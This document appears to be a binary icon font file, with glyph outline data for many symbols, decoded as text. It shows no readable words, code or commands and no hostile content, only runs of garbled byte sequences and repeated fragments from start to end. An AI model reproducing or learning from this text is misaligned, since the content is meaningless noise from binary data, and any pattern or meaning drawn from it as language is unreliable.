qfN-*#Sjt2"'qCB8!   '  >    	      ! % ) - 1 5 9 = A E I M Q U Y ] a g k o s w {           !	%!	5!#5#5#5#5#57777????#5!#5!#5!#5!#5!#5!#5!#5#537#5!#5!#5!#5!#5!#55#535353535353%"&546326#"'#32>54.&54>3237.#" Q%%%%%%%%%?iiihOiixiiyiixiiArssrrssr%sssrrssNs%%%%%%%%%%'<D<'paC_78#7PO7)("I$	75! RAb(ssssssssss"/!".""."!."".!/^.".^.".]/".$$$$$$$$$$$$$$$$Os$$$$$$$$$$$$$$sO$sssssssssss#}$)	13?*
,./:
-      s    *   4&"2$4&"2#!"&5463!2!5463!2_?--??-,@@,-?pq8,??,D,??,,??      (    Z  2#".#"3267>32#".54 3232654&#"#"&54654&#"#"&547>326ڞUzrhgrxSПdU <ex՞Zf_gן:k=2;^9Œ7\xx\7K=5XltֆWW{e_%N%,%CI%      # + W   4&+54&"#";26=32 "&462"&462!2#!"&54>7#"&463!2!2&&4&&&&4&KjKKjKjKKj && &%&& &&4&&&&4&&&5jKKjKKjKKjK %z
0&4&&3D7&4&%&          ' S   4&"4&"'&"27 "&462"&462!2#!"&54>7#"&463!2!2 &4&4&4& 4 KjKKjKjKKj && &%&& &&4&%&&ے&4  "jKKjKKjKKjK %z
0&4&&3D7&4&%&           	    &  	!'!	!%!!!!%"'.763!2o]FooZY@:@!! gf /  /      I    62'"/"/"/"/"/"/"/7762762762762762762%"/77627&6?35!5!!3762762'"/"/"/"/"/"/%5#5!4ZSS6SS4SS4SS4SS4SS4SS4ZSS4SS4SS4SS4SS4SS4S-4ZSS4S@   4SS4ZSS6SS4SS4SS4SS4SS4S@ ZSSSSSSSSSSSSSSZSSSSSSSSSSSSSyZRRR@%:=
:+:
=RRZSSSSSSSSSSSSS         C v  !/&'&#""'&#"	32>;232>7>76#!"&54>7'3&547&547>763226323@``` 
VFaaFV
$.

.$yy	.Q5ZE$ ,l<l, $ER?Y*@@2	!#""#!	yy=rna@@(89*>*%>>%*>*98(QO!       L \ p  '.'&67'#!##"  327&+"&46;2!3'#"&7>;276;2+6267!"'&7&#"(6&#"#"'DgOOG`n% ELL{@&&Nc, sU&&!Fre&&ss#/,<=
#]gLoGkP'r-n&4&2-ir&&?o 4_      5 O W  ! .54>762>7.'.7>+#!"&5#"&5463!2"&462{{BtxG,:`9(0bԿb0(9`:,GxtB&@& &@&K55K`?e==e?1O6#,
#$
,#6OO&&&&5KK      ?  !"'&'!2673267!'.."!&54632>32 1
4q#F""8'go#-#,"tYg>oP$$Po> 	Zep#)R0+I@$$@I+     + 3   32++"&=#"&=46;.7>76$     @ᅪ* r@@r      ' /  2+"&5".4>32!"&=463      &@~[՛[[u˜~gr&`u՛[[՛[~~@r         = E   32++"&=#"&=46;5& 547&'&6;22676;2      >``@``ٱ?E,,=?rH@``@GݧH`jjr     B J  463!2+"&= 32++"&=#"&=46;5.76 76%#"&5        &@~``@`` vX r&@``@+BF`r       k s  463!2+"&= 32++"&=#"&=46;5& 547'/.?'+"&5463!2+7>6 %#"&5        &@~``@``~4e	
0
	io@& jV	
0
	Z9 r&@``@Gɞ5o
,
sp &@k^
,
c8~~`r       8 > K R _  32++"&=!+"&=#"&=46;.76 766 6'27&547&#"  &'2  #"@ @'Ϋ'sggsww@sgg@@-ssʃl99OOr99     F P ^ l  463!2+"&= $'.7>76%#"&=463!2+"&=%#"&54'>%&54 7.#" 2 54&'   &@L?CuГP	vY  &@;"  ޥ5݇ޥ5`&_ڿgwBF@&J_	s&&?%x%x      J P \ h  463!2+"&= '32++"&=#"&=46;5.76 76632%#"&56'  327&7&#"2  #" &@L? ߺu``@``}ຒɞ  ueeu9uee&_"|N@``@""|a~lo99r9@9       ; C  2+"&5"/".4>327'&4?627!"&=463      &@Ռ		.	
N~[՛[[u˜N		.	
gr&`֌
	.		Ou՛[[՛[~N
	.		@r       9 A   '.'&675#"&=46;5"/&4?62"/32+     '֪\
	.		4		.	
\r|ݧ憛@\		.	

	.		\@r     ~ 9 A  "/&4?!+"&=# #"$7>763546;2!'&4?62      m		-

@ݧ憛@&

-		@rm4

-		ٮ*		-

r           +"&5& 54>2      @[՛[rdGu՛[[r                 ".4>2 r[՛[[՛r5՛[[՛[[      $  2#!37#546375&#"#3!"&5463#22#y/Dz?s!#22#2##2S88	2#V#2        L  4>32#"&''&5467&5463232>54&#" #"'.Kg&RvgD
$*2%	+Z hP=DXZ@7^?1۰3O+lh4`M@8'+c+RI2
\ZAhSQ>B>?S2Vhui/,R0+	ZRkm      z  + > Q   2#"'.'&756763232322>4."7 #"'&546n/9bLHG2E"D8_
pdddxO"2xxê_lx2X	
!+'5>-pkW[CI
I@50Oddd˥Mhfxx^ә  	           # ' + /  7!5!!5! 4&"2!5! 4&"24&"2!!!     8P88P   8P88P88P88P     P88P8 P88P88P88P8          + N    &6 !2#!+"&5!"&=463!46;23!#!"&54>32267632#"_>@`` L4 Dgy 6Fe=OOU4L>``4L2y5eud_C(====`L4       3 V    &6 #"/#"/&54?'&54?6327632#!"&54>32 7632_>																%%Sy 6Fe=J%>																%65%Sy5eud_C(zz.!6%          $  !2!!!46;2 4&"2!54&#!" &   &&@ԖV@& &@  &&ԖԖ@&             3!!!	!5!'!53!!	# 7IeeI7 CzC l @@  @            #  2#!"&?.54$3264&"!@մppp  ((ppp              # + /  2#!"&?.54$3264&"! 264&"!@մ^^^@^^^@ ((^^^  ^^^         v    (  #"'%.54632	"'% 	632U/@k0G,zD#[k#
/t g
FGz        	#'#3!)
p*xe 0,\8     T   # / D M %2<GQ^lw  &'&676676&'&7654&'&&546763"#"'3264&7.>&'%'.767&7667&766747665"'.'&767>3>7&'&'47.'.7676767&76767.'$73>?>67673>#6766666&'&6767.'"'276&67&54&&671&'6757>7& "2654&57>&>&'5#%67>76$7&74>=.''&'&'#'#''&'&'&'65.'&6767.'#%&''&'#2%676765&'&'&7&5&'6.7>&5R4&5S9W"-J0(/rV"-J0(.)#"6&4pOPppc|o}vQ[60XQW1V	#5X		N"&.
)
D>q J:102(z/=f*4!>S5b<U$:I o<G*	,&"O	X5
#!
	R N#C83J*R	!(D#%37	;$-.(,覦6ij
	")9
E%!B83
	j96/,	:QD')yX#63Vba	,
UeLPA@*	̳`Xx*&E
V36%	B3%	B3XA	#!.mU"A	#!.mUB-#2+Jiiim-C<I(m8qF/*)0S
		
I
E5&+>!%
(!$p8~5..:5I~T
4~9p# !
)& ?()5F	1		
 d%{v*: @e
s|D1d {:*dAA|oYk'&<tuut&vHCXXTR;w71Z*&'1	9?	.$Gv5k65P<?8q=4a	SC"1#</6B&!ML	^;6k5wF1<P    C	   ;  $"&462"&46232>.$.`aasa``Z9k'9؋ӗa-*Gl|Me_]`F&OܽsDD!/+``aa``a1<YK3(
 /8HQelAZ3t_fQP<343J;T7Q           + ? K g w     $6&$  $&62+"5432+"&=.54  $;26=462;26=4& 4&#!"3!26)߄4R4߄mlLr {jK#@#Qa^@@`&&&&߄4R4ĎLlLN @K5#:rr:#5K^aa``]]`` && &&       	     /  !3#4&#!"3!265##!"&5463!22 @ K5^BB^^B@B^5K    @5KB^^BB^^BK        	     /  !2##!"&5463!2#4&#!"3!265  5KK5^BB^^B@B^@   K55KB^^BB^^B` @      	     /  !2##!"&5463!2#4&#!"3!265  5KK5^BB^^B@B^@   K55KB^^BB^^B` @      	     /  !2##!"&5463!2#4&#!"3!265  5KK5^BB^^B@B^@   K55KB^^BB^^B` @      	    +  2##!"&5463!2#4&#!"3!2655KK5^BB^^B@B^@K55KB^^BB^^B` @    {    #!&'#"'&547632m*
0(('($0K
**      %   3#!3# '!#53 5#534!#53 6!3@@@@pp@@@@@pp@`     	          + / 7 ; A  #3!5!!3#!!5!35!355#%53#5!#35#!!!!!!!!                           
   	    # ' + / 3 ? C G W  #3!5!!35!!3#!!5!#!5!3535!355#%#3%!53#5!#35#!5##5!3!5!3!5	               !"&5463!2!"! `(88(@(8`(8}22R `8(@(88(`8HR22         #  #6?6%!!!46#!"&5463!2x  8(`( (88(@(8 
  (8 (`(8(@(88      	    ' A T d   +5326+5323##"' %5&465./&76%4&'5>54&'"&#!!26#!"&5463!2

iLCly5)*Hcelzzlec0hb,,beIVB9@RB9J_L4 4LL4 4L44%2"4:I;p!q4bb3p(P`t`P(6EC.7BI6 4LL4 4LL    	     . >  $4&'6 #".54$ 4.#!"3!2>#!"&5463!2Zjbjj[wٝ]>oӰٯ*-oXL4 4LL4 4L')꽽)J)]wL`ֺ۪e 4LL4 4LL           ;  4&#!"3!26#!"&5463!2#54&#!";#"&5463!2@^BB^^B@B^B^^B@B^`@MB^^B@B^^>^B@B^^         5 = U m  	!	!!2#!"&=463!.'!"&=463!>2!2#264&"".54>762".54>762  ?(``(?b|b?B//B/]]FrdhLhdrF ]]FrdhLhdrF@@@(?@@?(@9GG9@/B//BaItB!!BtIѶ!!ьItB!!BtIѶ!!ь        - M  32#!"&=46;7&#"&=463!2#>5!!4.'.46ՠ`@`ՠ`MsF FsMMsF FsMojjo@@jj@@<!(!!(!        - 3 ?  32#!"&=46;7&#"&=463!2+!!64.'#ՠ`@`ՠ` 		DqLLqDojjo@@jj@@B>=C          - 3 ;  32#!"&=46;7&#"&=463!2+!!6.'#ՠ`@`ՠ` UVU96gg6ojjo@@jj@@β**ɍ        - G  32#!"&=46;7&#"&=463!2#>5!!&'.46ՠ`@`ՠ`MsF FsMkkojjo@@jj@@<!(!33!(!          9 I  2#!"&=4637>7.'!2#!"&=463@b":1P4Y,++,Y4P1:"":1P4Y,++,Y4P1:"b@@@7hVX@K-AA-K@XVh77hVX@K-AA-K@XVh7         A j  "#54&#"'54&#"3!26=476=4&#"#54&'&#"#54&'&'2632632#!"&5&=4632>326 5K @0.B @0.B#6'&&
l
@0.B 2'	.B A2TA9B;h" dmpPTlLc_4.HK5]0CB.S0CB./#'?&&)$$)0CB. }(AB.z3M2"61d39L/PpuT(Ifc_E       `  1 X   "#4&"'&#"3!267654&"#4&"#4&26326#!"&'&5463246326\B B\B&@5K&@"6LB\B B\B sciL}QP<m$3jN2cB.p.BB. 3K5+" 3," .BB..BB..G=ci(+lOh7/ DVj"c=        & 5 J b   #"'&=.547!"&46;'.54632!2327%.54&#"327%>%&#"!"3!754?27%>54&#!26=31?>Ijjq,J[j.-tjlV\$B.R1?@B.+?2`$v5K-%5KK5.olRIS+6K5̈$B\B 94E.&ʀ15uE&
ԖPjjdXUGJ7!.B

P2 .B
%2@	7K5(B@KjKj?+f UE,5K~!1.>F.F,Q5*H          $ b  2#!"&=%!"&=463!7!"&'&=4634'&#!">3!!"3!32#!"3!23!26=n$<vpPPpPpw*RdApP]'@A&
3@&H-[(8@
2EB^&1=&& 81PppPpP wcOg Ppc4& #.& &,,:8(%^B &.&&       2 t  "&'&54'&5467>32>32>32#"#.#"#.#"3!27654&#"547654&#"#654&Myet|]WSSgSY\x{
70"1i92DU1&=		=&0@c	>&/Btd4!*"8K4+"@H@/'=	t? _K93-]
UlgQQgsW
]# +i>p&30&VZ&0B/%3B."to ){+C4I(/D0&p0D      3 [ _ c g  "'&#"3!2676=4&"#54&#"#54&#"#4&'2632632632#!"&'&5463246#!#!#5K)B4J&@#\8P8 @0.B J65K J6k
cJ/4qG^\hB2<m$3iG;     K5 6L4+" 3p`b)<8(=0CB.@Z7OK5`:7OkEW^tm@Q7/ DVi##j       % 4 I a   2#!"&5&546325462632"32654&"3267654&76;74&"#.#"2676=#"&'+53264&#!"3</UXdjjPԖEu!7JG72P

B%
B.!7	@Af+?jKjK@B(5K,EUH*5Q,F.F>.1!~K5y?^\Vljt-.j[J,qjjI7$?1R.B+.B$`2?gvEo.5KK5%-K6+SIR[&.E49 B\B$5K           G  #!+"&5!"&=463!2+"&'+"'+"'&5>;2>76;2YM	
.x	-
	N	

	u,u
?
LW

#	          	 * : J  4'&+326+"'#+"&5463!2  $6&  $&6$ <!T{BH4	&>UbUI-uu,uuڎLlLAX!Jmf\$
6uuu,KLlL        - [ k {  276/&'&#"&5463276?6'.#"!276/&'&#"&5463276?6'.#"  $6&   $&6]h-%Lb`J%E5,5R-h
-%Lb`J%E5,5R-'uu,uulL/hRdMLcNhRdMLcN1uuu,LlL   @     	'	7	'7	``H ``H !``H  ```H`            '  %		7'	7'7	'  $&6$ X`(W:,:X`(WLLlLX`(W:BX`(XLlL 
  	 $    % / 9 E S [   #"&54632$"&4624&"26$4&#"2%#"&462$#"&4632  #"32&! 24>      !#"&'.'#"$547.'!6$327&'77'&77N77N'qqqqqPOrqEsttsst}||}uԙ[WQ~,>	nP/RU P酛n	>,m'77'&77N77N6^Orqqqqqqt棣棣(~||on[usј^~33pc8{y%cq33dqp  f   	  L     54    "2654"'&'"/&477&'.67>326?><
x
,(-'sIVCVHr'-(
$0@!BHp9[%&!@0$u

]\\]-$)!IHVDVHI!)$-#3      6 > N   "&462."&/.2?2?64/67>&  #!"&5463!2]]]3
$;
&|v;$
(CS31	=rM=	4TC(Gzw@www]]]($-;,540=	sL	=45,;@www       (  2#"$&546327654&#"	&#"AZ\@/#%E1/##.1E$![A懇@@\!#21E!6!E13"|!     	 g L   &5& '.#4&5! 67&'&'5676&'6452>3.'5 A5RV[t,G'Q4}-&<C!l n?D_@Փ>r!G;>!g12sV&2:#;d=*'5E2/..FD֕71$1>2F!&12,@K       
  r    #"&5462>%.#"'&#"#"'>54#".'7654&&5473254&/>7326/632327?&$  $6 $&6$ !&"2&^	u_x^h;J݃HJǭqE
Dm!MG?̯'%o8
9U(F(ߎLlL&!&!SEm|[n{[<ɪ
"p C
Di%(KHCέpC
Bm8	@KނHF(LlL         " *  6%&6$	7&$5%%6'$2"&4}x3nQH:dΏXe8 z'	li=!7So?v      M    '&7>>7'7>''>76.'6' El:Fgr*t6K3UZ83P)3^I%=9	)<}Jk+C-Wd	&U -TE+]Qr-<Q#0
C+M8	3':$_Q=+If5[ˮ&&SGZoMk ܬc         # 7  &#"327#"'&$&546$;#"'654'632եfKYYKf¥yͩ䆎L1hvvƚwwkn]*]nlxDLw~?T8bb9SA}       + 5 ? F  !3267!#"'#"4767% !2$324&#"6327.'!.#" ۔c28Ψ-\? @hU0KeFjTlyE3aVsz.b؏W80]TSts<hO_u7bBtSbF/o|V]SHކJ        3  4&#!"3!26#!!2#!"&=463!5!"&5463!2 @^B `` B^^B@B^ @@B^@@^BB^^       >  3!"&546)2+6'.'.67>76%&F8$.39_0DD40DD0+*M7{L *="#
U<-M93#D@U8vk_Y	[hD00DD00Dce-JF1BDN&)@/1 d      y  % F    #"'&'&'&'&763276?6#"/#"/&54?'&763276"&'&'&5#&763567632#"'&7632654'&#"32>54'&#"'.5463!2#!3>7632#"'&'&#"'&767632yqoq>*432fba
$B?
	>B
BBAA.-QPPR+	42
%<ciђ:6&hHGhkG@n`IȌ5
!m(|.mzyPQ-.		je	q>@@?ppgVZE|fb6887a
%RB?
=B
ABBAJvniQP\\PRh!cDS`gΒ23geFGPHXcCI_ƍ5"	
n*T.\PQip[*81
/9@:       > t   %6#".'.>%6%&7>'.#*.'&676./&'.54>754'&#"%4>327676=>vwd"
l"3	/!,+	j2.|%&(N&wh>8X}xc2"W<4<,Z~fdaA`FBIT;hmA<7QC1>[u])		u1V(k1S)
-	0B2*%M;W(0S[T]I)	A 5%R7<vlR12I]O"V/,b-8/_        # 3 C G k  2#!"&546;546;2!546;2%;2654&+";2654&+"!32++"&=#"&=46;546;2 4LL44LL4^B@B^^B@B^ @@ @@ @@ L4 4LL4 4L`B^^B``B^^B``    @@@          # 3 W  #!"&=463!2!!%4&+";26%4&+";26%#!"&546;546;2!546;232@ @@ @@L44LL4^B@B^^B@B^4L@@   N 4LL4 4L`B^^B``B^^B`L       # ' 7 G k  %"/"/&4?'&4?62762!!%4&+";26%4&+";26%#!"&546;546;2!546;232W.	

	.				.	

	.			 @@ @@L44LL4^B@B^^B@B^4L.				.	

	.				.	

   N 4LL4 4L`B^^B``B^^B`L         ( 8 \  	"'&4?6262!!%4&+";26%4&+";26%#!"&546;546;2!546;232 

		.	

	.	`@@ @@L44LL4^B@B^^B@B^4L< 		 
	.				.	:   N 4LL4 4L`B^^B``B^^B`L         2632632#!"&5463&&&&&& &&&&&&         #   27+"&5     %264&#"26546>&&T,X q&&1X,LΒw     %    % ;  #!"&5463!546;2!2!+"&52#!"/&4?63!5!

(&&@&& ( &&@&&(

(  

& &@&&@ &&& &

        # '  '%#"'&54676%6%%
hh @` !  !  


         # 5  2#"&5476!2#"&5476!2#"'&546      @  @   
@ 
             8   4&"2$4&"2$4&"2 #"'&'&7>7.54$ KjKKjKjKKjKjKKjdne4"%!KjKKjKKjKKjKKjKKjK.٫8
!%00C'Z'             . W   "&462"&462"&462 6?32$6&#"'#"&'5&6&>7>7&54>$ KjKKjKjKKjKjKKjhяW.{+9E=cQdFK1A
0)LlLjKKjKKjKKjKKjKKjKpJ2`[Q?l&٫C58.H(Yee   	    
   			        Y'w(O'    R@ $   #"&#"'>7676327676#"
b,XHUmM.U_t,7A3gez9@xSaQBLb(	VU         
  !!!  == w)          A U  !!77'7'#'#274.#"#32!5'.>537#"76=4>5'.465!  KkkK_5 5 #BH1`L
I&v6SF !Sr99rS!`` /7K%s}HXV
PV	e		V    d   / 9 Q [   $547.546326%>>32"&5%632264&#"64'&""&'&"2>&2654&#" ;2P3>tSU<)tqH+>XX|Wh,:UStW|XX>=X*
))
+^X^|WX=>X:_.2//a:Ru?
	Q%-W|XW>J(	=u>XX|WX`

*((*


+2		2X>=XW|    E  0  3>$32!>7'&'&7!6./EUnohiI\0<{ >ORDƚ~˕VƻoR C37J6I`Tb<^M~M8O     	  	     5!#!"&!5!!52!5463	 ^B@B^  `B^ ^B `B^^"^BB^         0 ;  %'#".54>327&$#"32$	 !"$&6$3  ##320JUnLnʡ~~&q@tKL}'` -
-oxnǑUyl}~~FڎLlLt`(88(           	7!'	!\W\d;tZ`_O;        }  54+";2%54+";2!4&"!4;234;2354;2354>3&546263232632#"&#"26354;2354;2354;2`` `` pp``` !,! -&M<FI(2```@PppPpppppp#  #
ppppp     	  j  #"'&=!;5463!2#!"&=#".'.#!#"&463232>7>;>32#"&'#"!546	%. `@` :,.',-XjjXh-,'.,: kb>PppP>bk .%Z &
:k%$> $``6&L')59I"TlԖlT"I95)'L&69GppG9$ >$%k:            !   +32 &#!332  $&6$ ~O88OLlL>pNiLlL   	 ' ' : M a  4&'#"'.7654.#""'&#"3!267#!"&54676$32 #"'.76'&>$#"'.7654'&676mD5)
z{6lP,@KijjOoɎȕ>>[ta)GG4?a )ll>;_-/
9GH{zyN@,KԕoN繁y!?hh>$D">â?  $   	 n  "&5462'#".54>22654.'&'.54>32#"#*.5./"~~s!m{b6#	-SjR,l'(s-6^]Itg))[zxȁZ&+6,4$.X%%Dc*
&D~WL}]I0"
YYZvJ@N*CVTR3/A3$#/;'"/fR-,&2-"7Zr^Na94Rji3.I+

&6W6>N%&60;96@7F6I3        +  4&#!"3!26%4&#!"3!26  $$     ^aa`@@^aa       ' 7     $  >. %"&546;2#!"&546;2#/a^(^aa(N@@          4&#!"3!26  $$ @@^aa`@^aa       '     $  >. 7"&5463!2#/a^(n@^aa(N@           % =  %#!"'&7!>3!26=!26=!2%"&54&""&546 ##]VTV$ KjKKjK $&4&Ԗ&4&>9G!5KK55KK5! && jj &&         # / ; I m  2+#!"&'#"&463>'.3%4&"26%4&"26%6.326#>;463!232#.+#!"&5#"5KK5sH. .Hs5KK5e# )4# %&4&&4&&4&&4&` #4) #%~]eZ&&Ze]E-&&-E KjKj.<<.KjK)#)`"@&&`&&&&`&&)#`)"dXo&&oXG,8&&8  !  O  ##!!2#!+"'&7#+"'&7!"'&?63!!"'&?63!6;236;2!2@@8@7

8Q
	NQ
	N
	8G@

8GQ
	NQ
	N7
	    88 HH     k      %  		 ".>2I20]@] @oo@@oo㔕a22 ]] p^|11|99|11|     (       %7'7'	'	7T dltl)qnluul        ) 1  $4&"2 4&"2  &6 +"&5476;2 &6  LhLLhLLhLLhL> &  &`>hLLhLLhLLhL>&&>    G  
     	.7)1!62	1!62he220e22>	v+4	[d+d           1  35#5&'72!5!#"&'"'#"$547&54$ Eh`X(cYz:L:zYc\$_K`Pa}fiXXiޝfa    	         ( + . >  #5#5!5!5!54&+'#"3!267!7!#!"&5463!2U``'  jjV>(>VV>>Vq     (^(>VV>>VV          =  &'&'&'&76'&'&.' #.h8"$Y
''>eX5,	,PtsK25MRLqS;:.K'5RChhRt(+e^TTu B"$:2~<2HpwTT V        / 7 G W g   . %&32?673327>/.'676$4&"2 $&6$    $6&  $&6$ d--m	
	,6*6,	
	mKjKKjoooKzz8zzȎLlLU4>>4-.YG0
)xx)
0GYޞ.jKKjKqoooolzzz80LlL    D   / 7 H   #"'.7'654&#"'67'.6?>%"&46227#".547|D,=),9#7[͑fx!X: D$+s)hhijZt<F/*8C,q؜e\r,WBX/C2hhh=tXm        > N Z  +"&=46;2+"&=4>7>54&#"#"/.7632  >.  $$ p =+& 35,W48'3	l
zffff^aaP2P: D#;$#$*;?R
Cfff^aa   'Y  	 > O `   "&5462&'.'.76.5632.'#&'.'&6?65\\[<CzC25U#
.ZK m+[$/#>(	|	r[A@[[@A#2#7*<Y$+}"(q87] F 	_1)
	     	    # 1 K e   34&+326+"&=!#!"&763!2#!"&5463!2#>?4.'3#>?4.'3#>?4.'3Xe`64[l7
,	L;=+3&98&+)>>+3&98&+)>=+3&88&+)>	Wj|r>Q$~d$kaw+-wi[[\;/xgY$kaw+-wi[[\;/xgY$kaw+-wi[[\;/xgY     J \ m   4.'.'&#"#"'.'&47>7632327>7>54&'&#"327>"&47654'&462"'&476'&462"'&47>&'&462i$		$^"
%%
"^$		$W "@9O?1&&18?t@" W&%%&4KK6pp&46ZaaZ&4mttm^x	--	x^=/U7Ckkz'[$=&5%54'4&KK4r<r4&X4[ [4&mm             ' / 7 ? G O W _ g o w        "264$"264"264 "264$"264 "264$"264"264 "&462"&462 "&462"&462 "&462 "&462 "&462 "&462 "&462"&462 "&462"&462^^^^^^^^^^^^^^^^^^^^^^^^^^ ppppppppppppppppppppppppppppppppppppppppppppppp`^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^pppppppppppppppppppppppppppppppppppppppp  	         L T i {   "&4626"&462$"&462#"&4632654>7>54   "&54>2"&462%"&54&#""&546 %#"&'&'.7>#"'&'.7>&4&&4&4&&4S Z &4&&44$#&&&j3$"('$&4&[՛[&4&&4F&4&]\&4&$
	!D4%	,\44&&4&4&&4&- Z 4&&4& ;cX/)#&>B)&4&j9aU0'.4a7&&u՛[[4&&4&@&&]]&&Ώ0
u40
)4         # g   &'.#"32676%4/&#"326'&#"2632#2+&'%#"'&6?676676632%#"'&6767#"&'&6767#"'.7>327"#"&'&6763"'.7>;7632;>%5K$
"0%>s$
"0%>;;>%5KVL#>H30\($$(\(єyO2F/{(?0(TK.5sg$єy#-F/{$70(TK.5sg$L#>H30\($$(\#(@5"'K58!'"58!'"55"'K#dS$K		K$Sdx#@1wd>N;ET0((?
-
2K|1wd#N;ET0$(?
-
2K$#dS$K		K$Sdx          D N \  2654& 265462"2654   #"32654>7>54."/&47&'?62 &4&&4&h՛[&4&r$'("$3j&&&#$4["@GB["&&Β&&][u&&7a4.'0Ua9j&4&)B>&#)/Xc;u՛""Gi[       X h  #"&54676324&'&#"'>54#"32#"54>54'.#"32>7>767632326#!"&5463!2b)
:4FDN[1,^JK-*E#9gWRYvm0O	w@wwwC22c@X&!9{MA_"S4b// DR"XljPY<	@www     %   e  4.#"32>7676#'.#"#"&54>3232>754&*#"&54>763 >32''il$E/
@P@
^`'W6&!.. ! -P5+


E{n46vLeVz:,SN/
M5M[	]$[^5iC'2H&!(?]v`*	l	b$9>    = R   2#"&5467%!"&7>3-.7>;%.7>322326/.76/.'&6766/&/&#"&676	&676&6766/&672? =1(H/ 	'96&@)9<')29%
&06##$ J 07j)5@"*3%"!M
%#K"%Ne8)'8_(9.<c +8 8(%6 <)'4@@)#-<^
?%$-`%.}Q!&}%&N-lIJ;6>/=*%8!Q #P"\Q#N&a)<9     b R ] m p  %"'.'&54>76%&54763263  #"/7#"' #"&/%$% 322654&#"%'OV9
nt
|\d
ϓ[nt
|@D:)	;98'+|j," 41CH^nVz(~R	9\'	r
@L@	@w46HI(+C
,55,
f[op@\j;(zV~      i  / 5 O  #"'&54>32&#" 654'67'"'>54''&'"'6767&546767>7蒓`V BMR B9)̟!SH-77IXmSMH*k#".o;^J qןד>@YM$bKd ү[E";Kx%^6;%T,U:im=Mk        ) . D T  4'"&5463267&#" 6;64'.'4'>732676%#!"&5463!2),蛜s5-<A4ϲ
2W9
&P:\3)SEPJD4:3NIw@wwwNE	2@uus+,/?xsatmP')fHVEA(%dA4w&4J5*@www        O [  4'.'&54>54&#"#"'654'.#"#"&#"3263232>3232>76  $$ Cf'/'%($UL
(
#'/'@3#@,G)+H+@#3^aaX@_O#NW#O_.*	##(^aa   q [  632632#"&#"#".'&#"#".'&54767>7654.54632327&547>P9	B6?K?%O4T% >6>Z64Y=6>%S4N$?L?4B	@{:y/$ ,'R!F!8%#)(()#%:!F Q'+%0z:z       O _  4'.'&54>54&#"#"'654'.#"#"&#"3263232>3232>76#!"&5463!2 Cf'.'%($VM
)
#'.'@3#A,G)+H+A#4 w@wwwXA?4N$NW&M&L/*
##	+@www      	   O  $>?>762'&#"./454327 327>7>	 EpB5
3FAP/h\/NGSL	  RP*m95F84f&3Ga4B|wB .\FI*/.?&,5~K %&Y."7n<	"-I.M`{ARwJ!       F X ^ d j  ''''"'7&'7&'7&'7&547'67'67'67'63277774$#"32$			*'ֱ,?g=OO&L&NJBg;1''ֱ.=gCIM$'&&NJBg=.%w؝\\wIoo<<   -NIDg=/%(ײ+AhEHO*"#*OICh=/'(ֲ/=h>ON.]xwڝ]7e[@        ) 6  !!"3#"&546%3567654'3!67!4&'7Sgny]K-#75LSl>9V%cPe}&Hn_HȌ=UoLQ1!45647UC"    
        ! - 9 [ n x     "&46254&"326754&"326754&"26754&"26#".547632632626326'4#"#"54732764&"264.#"327632>#"'"'#"'#"&5#"'67&'327&'&54>3267>7>7>32632632T"8""8)<())(<))))<))<))<))<)Tد{ՐRhx=8 78 n 81pH_6SocF@b@?d?uKbM70[f5Y$35KUC<:[;+8 n 87 8/8Zlv]64qE 'YK0-AlB;
W#;WS9&(#-7Z://:/Tr++r,,r++r,,r++r,,r++r,,ʠgxXVעe9222222^KVvF02OO23OO`lF;mhj84DroB@r+@222222C0DP`.r8h9~T4.&o@91P       % 1  4'!3#"&46327&#"326%35#5##33  $$ }Pcc]<hlࠥYmmnnnn^aaw!LYƏ;edwnnnnnv^aa     %    '  #"$#"#.5462632327>32 1IUΠ?LL?cc4MX& 04;0XpD[[DpD,)&&    Q	    9 V \   26&".'&'&6?.#"#26327677>'32>&3#'&+"?626&"#!'.'!"&5463!>;26;2!2P  P 	
92#.}SP9::%L\B )spN/9oJ5 
!+D`]BgY9+,9%
Pk4 P  P &NnF!_7*}B<{o0&&B;*<@$ucRRc#@16#37c&@@@J"@*4^`EDBo/8927
*@O LC!T!323X$BJ@@@ &AS
0C59"'D/&&D488$5A&         % O  #!"&547>7>2$7>/.".'&'&2> ^B@B^>FFzn_0P:P2\nzFF>R&p^1P:P1^&R
P2NMJMQ0Rr.B^^B	7:5]yPH!%%"FPy]5:7	=4QH!%%!Ht4=<"-/ ?          1 P p  +".'.'.?>;2>7$76&'&%.+"3!26#!"&5476 7>;2'
+~'*OJ%%JN,&x'%^M,EE,M7ZE[P*FF*P:5^B@B^){$.MK%%KM.$+X)o3"a  22!]4	I>"">,&S8JB##B12``B^^B8&ra#11#$R&              " & . 2 v  %/%''%/%7%7'%7'/#&5'&&?&'&?&'&7%27674?6J"0<=_gNU? DfuYGb7=^H^`	=v~yT3GDPO	4Fѭqi_w\ހ!1uS%V_-d
1=U{J8n~r        ' U  4.#".'"3!264&"26+#!"&5463!232+32+320P373/./373P0T=@=T֙֙|`^B@B^^BB^`````*9deG-!

!-Ged9IaallkOB^^BB^^B       	 + Y i  "&54622#!"&54>;2>+32+32+#!"&5463!2324&#!"3!26֙֙0.I/ OBBO	-Q52-)&)-2`````^B@B^^BB^` @|kkl"=IYL)CggC0[jM4				B^^BB^^B@@       ! 1 A Q u   4.#".'"3!24&"254&#!"3!2654&#!"3!2654&#!"3!26#!54&+"!54&+"!"&5463!2 )P90,***,09P)J6 6S"@8@ ^B@ @B^^BB^Ukc9		9ckU?@@88@@N@B^````^BB^^       ! 1 A Q u    #!"&4>32>72"&462#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!546;2!546;2!26#!"&5463!2 J6 6J)P90,***,09P)"@8@@`@ @`^B@B^^BB^ՀUUkc9		9c`@@88@@2@````@B^^BB^^            (  %.'"&' $&   #"$&6$ wCιCwjJ~J>LlLśJSSJ͛>6LlL         $ ,     $&6654&$ 3 72&&  lLmzzBl> KlLGzzG>           ' 7  #!"&54>7&54>2   62654' '3/U]B,ȍ,B]U/OQнQ>+X}}X0bӃۚӅb0}hQQh>ff            # =   #!"&4>3272"&462!3!26#!"&5463!;26=!2 J6 6J)Q8PP8Q) ^B@B^^B``B^VVVld9KK9d`@B^^BB^``^        + ; K [ e u  4.#"'"3!264&"254&#!"3!2654&#!"3!26%54&+";2654&#!"3!26!54&#!"!#!"&5463!2"D/@@/D"?,,?pppp@@@ @^B@B^^BB^D6]W2@@2W]67MMppp@@@@@@@@n`@B^^BB^^       + ; K [ e u  #!"&54>3272"&462#!"&=463!2%#!"&=463!2+"&=46;25#!"&=463!2!3!26#!"&5463!2?,V,?"D/@@/D"pppp@@@ ^B@B^^BB^D7MM76]W2@@2W]֠ppp@@@@@@@@`@B^^BB^^  